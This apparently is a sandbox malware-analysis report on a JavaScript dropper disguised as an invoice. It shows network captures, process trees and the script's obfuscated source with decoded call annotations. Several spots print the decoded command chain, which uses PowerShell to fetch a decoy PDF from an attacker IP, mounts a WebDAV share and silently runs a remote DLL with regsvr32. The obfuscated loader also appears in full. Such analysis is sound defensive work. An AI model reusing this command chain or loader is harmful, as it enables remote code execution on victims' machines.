Jan 10, 2025 21:05:48.630014896 CET	1.1.1.1	192.168.2.5	0xc2bd	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	7080	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:05:17.272424936 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:05:18.052037954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:05:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:05:18.052076101 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:05:18.052090883 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:05:18.052135944 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 21:05:18.052211046 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 21:05:18.052225113 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 21:05:18.052251101 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 21:05:18.052268982 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 21:05:18.052284956 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 21:05:18.052306890 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 21:05:18.057174921 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6048	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:05:19.269376993 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:05:20.104664087 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:05:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:05:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js"
Imagebase:	0x7ff6d2880000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:05:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll
Imagebase:	0x7ff78efd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:05:13
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:05:14
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:05:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:05:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78efd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:05:17
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70a7f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:05:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:05:18
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:05:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1504 --field-trial-handle=1540,i,12701418644081443886,6818211592196363022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yfjzs() {	yfjzs() ➔ undefined
1	qeunsq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var alhafzdd = this[rpymq + hgiwwvyb + drxpdgx + ocnngdr + yqclveojs + ajelu + auafczzl + gjufyrxor] ( this[gjlfpoghg + wnkzq + pqiap + drxpdgx + fpagtj + rpymq + gjufyrxor][wczoksru + drxpdgx + yqclveojs + hgiwwvyb + gjufyrxor + yqclveojs + kggovrdjl + gflyarnz + kfrmj + yqclveojs + pqiap + gjufyrxor] ( gjlfpoghg + wnkzq + pqiap + drxpdgx + fpagtj + rpymq + gjufyrxor + fjoedi + wnkzq + lnbtro + yqclveojs + nksrrkdsd + nksrrkdsd ) [gfyliyek + yqclveojs + fafyqc + gfyliyek + yqclveojs + hgiwwvyb + khqgl] ( qnzofh + cniynj + qitrfe + muxgzc + dfcqu + wczoksru + ezbkdgcwg + gfyliyek + gfyliyek + qitrfe + jputa + nzugvca + dfcqu + ezbkdgcwg + wnkzq + qitrfe + gfyliyek + liytz + wczoksru + krwos + auafczzl + gjufyrxor + drxpdgx + krwos + nksrrkdsd + mndnbs + itshfxo + hgiwwvyb + auafczzl + yqclveojs + nksrrkdsd + liytz + ajelu + auafczzl + gjufyrxor + yqclveojs + drxpdgx + auafczzl + hgiwwvyb + gjufyrxor + fpagtj + krwos + auafczzl + hgiwwvyb + nksrrkdsd + liytz + onteyixen + krwos + pqiap + hgiwwvyb + nksrrkdsd + yqclveojs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( viipvmis = 0 ; viipvmis < qeunsq[nksrrkdsd + yqclveojs + auafczzl + fafyqc + gjufyrxor + lnbtro] ; ++ viipvmis )
4	{
5	if ( alhafzdd == qeunsq[viipvmis] )
6	{
7	alhafzdd = true;
8	break ;
9	}
10	}
11	if ( alhafzdd !== true )
12	this[gjlfpoghg + wnkzq + pqiap + drxpdgx + fpagtj + rpymq + gjufyrxor][apscd + dykis + fpagtj + gjufyrxor] ( );
13	this[gjlfpoghg + wnkzq + pqiap + drxpdgx + fpagtj + rpymq + gjufyrxor][wczoksru + drxpdgx + yqclveojs + hgiwwvyb + gjufyrxor + yqclveojs + kggovrdjl + gflyarnz + kfrmj + yqclveojs + pqiap + gjufyrxor] ( gjlfpoghg + wnkzq + pqiap + drxpdgx + fpagtj + rpymq + gjufyrxor + fjoedi + wnkzq + lnbtro + yqclveojs + nksrrkdsd + nksrrkdsd ) [drxpdgx + dykis + auafczzl] ( pqiap + stmuyndi + khqgl + mndnbs + sqpnazxw + pqiap + mndnbs + rpymq + krwos + mocvayu + yqclveojs + drxpdgx + ocnngdr + lnbtro + yqclveojs + nksrrkdsd + nksrrkdsd + fjoedi + yqclveojs + fxcrsjwe + yqclveojs + mndnbs + eafsoc + wczoksru + krwos + stmuyndi + stmuyndi + hgiwwvyb + auafczzl + khqgl + mndnbs + ispzkgb + ajelu + auafczzl + ppgcogsv + krwos + iiqcf + yqclveojs + eafsoc + gjlfpoghg + yqclveojs + gflyarnz + gfyliyek + yqclveojs + jemunb + dykis + yqclveojs + ocnngdr + gjufyrxor + mndnbs + eafsoc + kggovrdjl + dykis + gjufyrxor + ugviwwelz + fpagtj + nksrrkdsd + yqclveojs + mndnbs + dpofxgn + gjufyrxor + yqclveojs + stmuyndi + rpymq + dpofxgn + liytz + fpagtj + auafczzl + ppgcogsv + krwos + fpagtj + pqiap + yqclveojs + fjoedi + rpymq + khqgl + hauqsblv + mndnbs + lnbtro + gjufyrxor + gjufyrxor + rpymq + tmztqweu + sqpnazxw + sqpnazxw + wqpnuz + yidqbsfm + kzeftp + fjoedi + wqpnuz + rctserlpx + kzeftp + fjoedi + wqpnuz + fjoedi + hixww + bhumbqryz + ygohoyg + sqpnazxw + fpagtj + auafczzl + ppgcogsv + krwos + fpagtj + pqiap + yqclveojs + fjoedi + rpymq + lnbtro + rpymq + ispzkgb + uvrci + uvrci + ocnngdr + gjufyrxor + hgiwwvyb + drxpdgx + gjufyrxor + mndnbs + dpofxgn + gjufyrxor + yqclveojs + stmuyndi + rpymq + dpofxgn + liytz + fpagtj + auafczzl + ppgcogsv + krwos + fpagtj + pqiap + yqclveojs + fjoedi + rpymq + khqgl + hauqsblv + uvrci + uvrci + pqiap + stmuyndi + khqgl + mndnbs + sqpnazxw + pqiap + mndnbs + auafczzl + yqclveojs + gjufyrxor + mndnbs + dykis + ocnngdr + yqclveojs + mndnbs + liytz + liytz + wqpnuz + yidqbsfm + kzeftp + fjoedi + wqpnuz + rctserlpx + kzeftp + fjoedi + wqpnuz + fjoedi + hixww + bhumbqryz + ygohoyg + teccod + vufds + vufds + vufds + vufds + liytz + khqgl + hgiwwvyb + ppgcogsv + mocvayu + mocvayu + mocvayu + drxpdgx + krwos + krwos + gjufyrxor + liytz + uvrci + uvrci + pqiap + stmuyndi + khqgl + mndnbs + sqpnazxw + pqiap + mndnbs + drxpdgx + yqclveojs + fafyqc + ocnngdr + ppgcogsv + drxpdgx + kzeftp + hixww + mndnbs + sqpnazxw + ocnngdr + mndnbs + liytz + liytz + wqpnuz + yidqbsfm + kzeftp + fjoedi + wqpnuz + rctserlpx + kzeftp + fjoedi + wqpnuz + fjoedi + hixww + bhumbqryz + ygohoyg + teccod + vufds + vufds + vufds + vufds + liytz + khqgl + hgiwwvyb + ppgcogsv + mocvayu + mocvayu + mocvayu + drxpdgx + krwos + krwos + gjufyrxor + liytz + hixww + bhumbqryz + vufds + kzeftp + ygohoyg + wqpnuz + rctserlpx + ygohoyg + lituth + lituth + wqpnuz + bhumbqryz + zfvblmbbq + rctserlpx + yidqbsfm + fjoedi + khqgl + nksrrkdsd + nksrrkdsd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll",0,false) ➔ 0
14	}
15	hixww = "b";
16	hixww = "e";
17	hixww = "C";
18	hixww = "Z";
19	hixww = "e";
20	hixww = "M";
21	hixww = "t";
22	hixww = "R";
23	hixww = "k";
24	hixww = "f";
25	hixww = "J";
26	hixww = "J";
27	hixww = "Y";
28	hixww = "b";
29	hixww = "n";
30	hixww = "f";
31	hixww = "l";
32	hixww = "X";
33	hixww = "S";
34	hixww = "R";
35	hixww = "X";
36	hixww = "X";
37	hixww = "K";
38	hixww = "j";
39	hixww = "e";
40	hixww = "P";
41	hixww = "m";
42	hixww = "W";
43	hixww = "Q";
44	hixww = "b";
45	hixww = "M";
46	hixww = "g";
47	hixww = "v";
48	hixww = "r";
49	hixww = "z";
50	hixww = "u";
51	hixww = "B";
52	hixww = "V";
53	hixww = "Q";
54	hixww = "2";
55	cniynj = "O";
56	cniynj = "z";
57	cniynj = "d";
58	cniynj = "S";
59	cniynj = "E";
60	cniynj = "P";
61	cniynj = "c";
62	cniynj = "J";
63	cniynj = "E";
64	cniynj = "D";
65	cniynj = "j";
66	cniynj = "F";
67	cniynj = "m";
68	cniynj = "x";
69	cniynj = "Q";
70	cniynj = "U";
71	cniynj = "o";
72	cniynj = "j";
73	cniynj = "x";
74	cniynj = "z";
75	cniynj = "M";
76	cniynj = "M";
77	cniynj = "k";
78	cniynj = "K";
79	fjoedi = "o";
80	fjoedi = "v";
81	fjoedi = "i";
82	fjoedi = "d";
83	fjoedi = "D";
84	fjoedi = "u";
85	fjoedi = "T";
86	fjoedi = "S";
87	fjoedi = ".";
88	mocvayu = "I";
89	mocvayu = "j";
90	mocvayu = "P";
91	mocvayu = "d";
92	mocvayu = "E";
93	mocvayu = "Z";
94	mocvayu = "d";
95	mocvayu = "G";
96	mocvayu = "m";
97	mocvayu = "i";
98	mocvayu = "y";
99	mocvayu = "f";
100	mocvayu = "w";
101	mocvayu = "r";
102	mocvayu = "R";
103	mocvayu = "e";
104	mocvayu = "k";
105	mocvayu = "Z";
106	mocvayu = "m";
107	mocvayu = "Z";
108	mocvayu = "T";
109	mocvayu = "Z";
110	mocvayu = "Q";
111	mocvayu = "x";
112	mocvayu = "T";
113	mocvayu = "T";
114	mocvayu = "k";
115	mocvayu = "q";
116	mocvayu = "Y";
117	mocvayu = "z";
118	mocvayu = "A";
119	mocvayu = "b";
120	mocvayu = "C";
121	mocvayu = "w";
122	gflyarnz = "A";
123	gflyarnz = "b";
124	hgiwwvyb = "B";
125	hgiwwvyb = "N";
126	hgiwwvyb = "p";
127	hgiwwvyb = "c";
128	hgiwwvyb = "k";
129	hgiwwvyb = "z";
130	hgiwwvyb = "C";
131	hgiwwvyb = "S";
132	hgiwwvyb = "n";
133	hgiwwvyb = "s";
134	hgiwwvyb = "t";
135	hgiwwvyb = "j";
136	hgiwwvyb = "y";
137	hgiwwvyb = "a";
138	hgiwwvyb = "p";
139	hgiwwvyb = "P";
140	hgiwwvyb = "O";
141	hgiwwvyb = "X";
142	hgiwwvyb = "p";
143	hgiwwvyb = "S";
144	hgiwwvyb = "J";
145	hgiwwvyb = "W";
146	hgiwwvyb = "k";
147	hgiwwvyb = "y";
148	hgiwwvyb = "m";
149	hgiwwvyb = "Y";
150	hgiwwvyb = "R";
151	hgiwwvyb = "t";
152	hgiwwvyb = "T";
153	hgiwwvyb = "c";
154	hgiwwvyb = "R";
155	hgiwwvyb = "g";
156	hgiwwvyb = "H";
157	hgiwwvyb = "k";
158	hgiwwvyb = "s";
159	hgiwwvyb = "e";
160	hgiwwvyb = "x";
161	hgiwwvyb = "z";
162	hgiwwvyb = "u";
163	hgiwwvyb = "a";
164	ispzkgb = "u";
165	ispzkgb = "r";
166	ispzkgb = "q";
167	ispzkgb = "T";
168	ispzkgb = "P";
169	ispzkgb = "V";
170	ispzkgb = "O";
171	ispzkgb = "V";
172	ispzkgb = "c";
173	ispzkgb = "e";
174	ispzkgb = "k";
175	ispzkgb = "O";
176	ispzkgb = "H";
177	ispzkgb = "E";
178	ispzkgb = "k";
179	ispzkgb = "x";
180	ispzkgb = "Q";
181	ispzkgb = "N";
182	ispzkgb = "G";
183	ispzkgb = "w";
184	ispzkgb = "M";
185	ispzkgb = "t";
186	ispzkgb = "C";
187	ispzkgb = "l";
188	ispzkgb = "t";
189	ispzkgb = "M";
190	ispzkgb = "X";
191	ispzkgb = "t";
192	ispzkgb = "s";
193	ispzkgb = "r";
194	ispzkgb = "n";
195	ispzkgb = "E";
196	ispzkgb = "X";
197	ispzkgb = "z";
198	ispzkgb = "D";
199	ispzkgb = "p";
200	ispzkgb = "i";
201	ispzkgb = "Y";
202	ispzkgb = "Y";
203	ispzkgb = "W";
204	ispzkgb = "X";
205	ispzkgb = "\"";
206	lituth = "J";
207	lituth = "s";
208	lituth = "v";
209	lituth = "W";
210	lituth = "E";
211	lituth = "M";
212	lituth = "q";
213	lituth = "i";
214	lituth = "o";
215	lituth = "E";
216	lituth = "Y";
217	lituth = "T";
218	lituth = "6";
219	muxgzc = "v";
220	muxgzc = "M";
221	muxgzc = "e";
222	muxgzc = "d";
223	muxgzc = "n";
224	muxgzc = "h";
225	muxgzc = "Z";
226	muxgzc = "N";
227	muxgzc = "O";
228	muxgzc = "p";
229	muxgzc = "o";
230	muxgzc = "D";
231	muxgzc = "F";
232	muxgzc = "y";
233	muxgzc = "P";
234	muxgzc = "Y";
235	nzugvca = "S";
236	nzugvca = "w";
237	nzugvca = "Y";
238	nzugvca = "t";
239	nzugvca = "n";
240	nzugvca = "t";
241	nzugvca = "T";
242	gjlfpoghg = "P";
243	gjlfpoghg = "X";
244	gjlfpoghg = "M";
245	gjlfpoghg = "H";
246	gjlfpoghg = "m";
247	gjlfpoghg = "m";
248	gjlfpoghg = "z";
249	gjlfpoghg = "L";
250	gjlfpoghg = "a";
251	gjlfpoghg = "A";
252	gjlfpoghg = "B";
253	gjlfpoghg = "h";
254	gjlfpoghg = "p";
255	gjlfpoghg = "S";
256	gjlfpoghg = "i";
257	gjlfpoghg = "n";
258	gjlfpoghg = "V";
259	gjlfpoghg = "P";
260	gjlfpoghg = "o";
261	gjlfpoghg = "W";
262	drxpdgx = "H";
263	drxpdgx = "Q";
264	drxpdgx = "D";
265	drxpdgx = "f";
266	drxpdgx = "l";
267	drxpdgx = "N";
268	drxpdgx = "q";
269	drxpdgx = "f";
270	drxpdgx = "g";
271	drxpdgx = "S";
272	drxpdgx = "Y";
273	drxpdgx = "t";
274	drxpdgx = "v";
275	drxpdgx = "x";
276	drxpdgx = "y";
277	drxpdgx = "l";
278	drxpdgx = "B";
279	drxpdgx = "e";
280	drxpdgx = "m";
281	drxpdgx = "z";
282	drxpdgx = "N";
283	drxpdgx = "K";
284	drxpdgx = "F";
285	drxpdgx = "u";
286	drxpdgx = "H";
